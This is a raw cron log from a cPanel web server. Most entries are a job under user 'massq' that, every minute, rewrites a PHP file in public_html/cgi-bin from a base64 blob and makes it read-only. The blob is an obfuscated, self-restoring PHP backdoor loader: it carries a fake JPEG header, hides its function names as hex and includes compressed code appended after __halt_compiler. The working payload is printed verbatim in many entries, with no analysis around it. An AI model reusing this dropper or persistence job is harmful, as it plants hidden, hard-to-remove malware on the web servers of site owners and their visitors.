Nov 10 07:52:01 server CROND[10875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:53:01 server CROND[11448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:54:01 server CROND[12173]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:55:01 server CROND[12843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:55:01 server CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:55:01 server CROND[12851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:56:01 server CROND[13572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:57:01 server CROND[14175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:57:01 server CROND[14176]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 07:58:01 server CROND[14719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:59:01 server CROND[15740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:00:01 server CROND[16658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:00:01 server CROND[16661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 08:00:01 server CROND[16662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:00:01 server CROND[16667]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Nov 10 08:00:01 server CROND[16669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:00:01 server CROND[16673]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 08:01:01 server CROND[17565]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 08:01:01 server CROND[17566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:01:01 server run-parts(/etc/cron.hourly)[17565]: starting 0anacron
Nov 10 08:01:01 server run-parts(/etc/cron.hourly)[17579]: finished 0anacron
Nov 10 08:02:01 server CROND[18395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:03:01 server CROND[19215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:04:01 server CROND[20021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:05:01 server CROND[20926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:05:01 server CROND[20929]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 08:05:01 server CROND[20930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
